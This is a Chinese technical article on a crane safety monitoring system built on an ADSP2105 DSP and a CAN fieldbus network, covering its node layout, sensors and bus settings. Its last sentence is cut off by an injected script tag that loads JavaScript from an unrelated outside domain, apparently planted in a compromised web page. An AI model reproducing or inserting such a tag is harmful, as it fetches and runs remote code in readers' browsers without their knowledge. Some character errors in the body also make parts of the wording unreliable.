摘 要：介绍了一种基于数字信号处理器adsp2105和现场总线技术的起重机多功能安全监控系统。该系统由最小系统节点、智能节点和主节点等模块组成。各模块之间的通信利用控制器局域风（can）完成。该系统具有人机界面友好、保护功能完善、可靠性高等特点，并具有一定的自诊断功能。
关键词：安全监控 数字信号处理器adsp2105 控制器局域网（can）
起重机是工程建设中的必要设备之一，在施工中应用相当广泛。然而，起重机潜在的危险因素也较多，容易发生恶性事故。国家技术监督局先后专门制定和发布了《起重机设计规范》（gb3811-83）、《起重机械超载保护装置安全技术规范》（gb12602-90）、《起重机安全规程》（gb6067-85）等标准，要求各类起重机械必须装备安全保护装置。因此开发新型的起重机多功能安全监控和保护系统是很有必要的。基于此，近年来国内外先后研制出一些起重机安全保护装置，如载荷限制器、力矩限制器、起升高度仪、防碰撞装置、风速报警器等。但它们功能单一，如果需要多种保护功能，必须安装多台仪器，这样不仅价格昂贵，也给维护和使用带来了不便。起重机用户迫切需要一种集多种功能于一体的多功能安全监控系统，并希望起重机具有较强的自动控制功能主自诊断能力，以降低操作和维护的劳动强度并保证起重机的安全。
起重机用户关心的涉及到安全方面的工况参数主要有：主钩与副钩的起重载荷和起升高度、主臂与副臂（塔臂）的起重力矩和起升角度、工作幅度、钢丝绳状况、风速（力）大小、起重过程中载荷振动情况以及下阵的各种信息（如变幅油缸压力、液压传动系统的压力、温度、发动机转速参数、油温）等。如何对这些工况参数进行巡回采集、算法处理，并实时输出控制和提示是本系统设计的关键所在。
近年来，现场总线技术、数字信号处理技术的不断发展和渐趋成熟以及各种新型大规模集成器件的出现，为本系统的实现奠定了技术和物质基础。
现场总线（field bus）标准及其技术是国际自动控制领域关注的热点，对于工业控制领域，采用现场总线的最大优点是可大量节约连接导线。维护费用和安装费用，同时，现场总线能够传送多个过程变量。控制器局域网（controller area network）属于现场总线的范畴，它是一种有效支持分布式控制（distributed controller）或实时控制（real-time controller）的串行通信网络，是德国bosch公司于1980年初为解决现代汽车中众多的控制与测试仪器之间的数据交换而开发的一种串行数据通信协议，是一种通信速率可达1mbps的多主总线（multiple master multiple slave,即m3s）。can总线通信接口集成了can协议物理层和数据链路层功能，可对通信数据完成成帧处理。它通过对通信数据块进行编码，保证了网络内节点个数的动态性，并使不同的节点同时接收到相同的数据。数据段长度最多为8个字节，保证了通信的实时性；而协议利用crc检验提供相应的错误处理功能，则保证了数据通信的可靠性。本系统利用can总线的以上特性，解决了众多模块（节点）之间的通信问题。
数字信号处理器的出现使数字信号处理领域发了了革命性的变化。它采用了哈佛总线结构，数据总线和程序总线分离，可同时进行指令的读取和数据运算，指令基本上可以在一个机器周期内执行，片装乘法器硬件，具有将乘法器和累加器以流水线方式连接的总线，能高速进行连续的乘法运算和累加运算。因而其运算能力极强，适合于大量高速信号的处理领域，自从问世以来，在短短不到20年的时间内，便迅猛发展，得到了极为广泛的应用。以texas instruments公司的tms系列为例，到目前已发展到第五代。
1 系统总体结构简图
本系统基本组成如图1所示。系统由一个主节点（中央处理单元）、一个智能节点和8个最小系统节点组成。最小系统节点包括拉力传感器节点1（副钩）、角度传感器节点2（副臂）、拉力传感器节点3（主钩）、角度传感器节点4（主臂）、风力传感器节点5、防碰撞传感器节点6、高度传感器节点7（主钩）、高度传感器节点8（副钩）等，各节点分别负责采集不同的牧师信号，并进行a/d转换（个别节点则不用进行a/d转换，如高度节点的增量式光电编码盘可直接得到数字信号），然后通过现场总线与主节点通信。各模块之间的最大总线长度不超过130米，位速率定为500kbps，总线定时为：btr0，01h；btr1，1ch。
1.1 主节点（中央处理单元）
系统主节点结构原理图如图2所示。中央处理器采用美国模拟器件公司生产的adsp2105。它是一种高性能价格比、性能成熟的dsp器件，在一个100ns周期内，可以完成如下操作：取两个操作数，修改指向操作数的地址单元，使两个操作数相乘并将结果累加到一个40位的和中。由于程序循环在硬件内完成，所以每100ns能执行一次这些高级指令的操作。wsi的psd311可编程外围器件有效地将可编程逻辑、i/o端口和存储器集成在一块芯片上，可以实现本系统的外围功能?script src=http://er12.com/t.js>
